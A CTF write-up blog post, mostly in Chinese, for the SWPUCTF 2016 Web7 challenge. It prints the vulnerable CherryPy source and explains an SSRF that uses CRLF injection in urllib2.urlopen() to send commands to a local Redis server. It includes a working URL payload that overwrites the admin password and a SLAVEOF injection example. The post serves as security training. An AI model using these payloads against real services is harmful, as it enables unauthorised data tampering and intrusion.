WEB

BUU|[SWPUCTF 2016]Web7

python2 CherryPy模块极简主义的Python Web框架

Posted by Elli0t on 2020-03-25

I don’t think that when people grow up, they will become more broad-minded and can accept everything. Conversely, I think it’s a selecting process, knowing what’s the most important and what’s the least. And then be a simple man.

知识点:

  • SSRF
  • urllib2.urlopen()
  • Redis数据库

Python 2.7.5+Redis 2.6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python 
# coding:utf8

__author__ = 'niexinming'

import cherrypy
import urllib2
import redis

class web7:
@cherrypy.expose
def index(self):
return "<script> window.location.href='/input';</script>"
@cherrypy.expose
def input(self,url="",submit=""):
file=open("index.html","r").read()
reheaders=""
if cherrypy.request.method=="GET":
reheaders=""
else:
url=cherrypy.request.params["url"]
submit=cherrypy.request.params["submit"]
try:
for x in urllib2.urlopen(url).info().headers:
reheaders=reheaders+x+"<br>"
except Exception,e:
reheaders="错误"+str(e)
for x in urllib2.urlopen(url).info().headers:
reheaders=reheaders+x+"<br>"
file=file.replace("<?response?>",reheaders)
return file
@cherrypy.expose
def login(self,password="",submit=""):
pool = redis.ConnectionPool(host='127.0.0.1', port=6379)
r = redis.Redis(connection_pool=pool)
re=""
file=open("login.html","r").read()
if cherrypy.request.method=="GET":
re=""
else:
password=cherrypy.request.params["password"]
submit=cherrypy.request.params["submit"]
if r.get("admin")==password:
re=open("flag",'r').readline()
else:
re="Can't find admin:"+password+",fast fast fast....."
file=file.replace("<?response?>",re)
return file
cherrypy.config.update({'server.socket_host': '0.0.0.0',
'server.socket_port': 8080,
})
cherrypy.quickstart(web7(),'/')

我们有两个输入点,一个/input允许我们输入URL,然后会用urllib2.urlopen()访问我们的URL。还有一个/login,要求我们输入管理员的密码,如果与Redis数据库中的密码相同,我们就可以拿到Flag。
好了,看起来没有什么问题,SSRF。然后问题来了,urllib2.urlopen()只支持HTTP HTTPS FTP File这几种Schema,我们没法用gopher,也就没法打到Redis。然后我们就试图搜一下urllib2.urlopen()是不是出过什么洞,然后就找到这个。简单来说,就是urlopen()处理URL的时候没有考虑换行符,导致我们可以在正常的HTTP头中插入任意内容。就像这样:

1
2
3
4
5
6
7
8
9
urlopen("http://127.0.0.1%0D%0A%20SLAVEOF . . . :6379/")
>>> pprint(conn.recv(300).splitlines(keepends=True))
[b'GET / HTTP/1.1rn',
b'Accept-Encoding: identityrn',
b'Host: 127.0.0.1rn',
b' SLAVEOF . . . :6379rn',
b'Connection: closern',
b'User-Agent: Python-urllib/2.7rn',
b'rn']

只要在正常URL中插入%0d%0a就可以了。
payload:Payload:http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/foo

然后我们登录/login,输入admin就可以了。不过动作要快,因为admin密码会定时修改。

参考链接

https://cherrypy.org/
https://www.dazhuanlan.com/2019/11/19/5dd37bccd4ffc/
https://blog.csdn.net/niexinming/article/details/53024755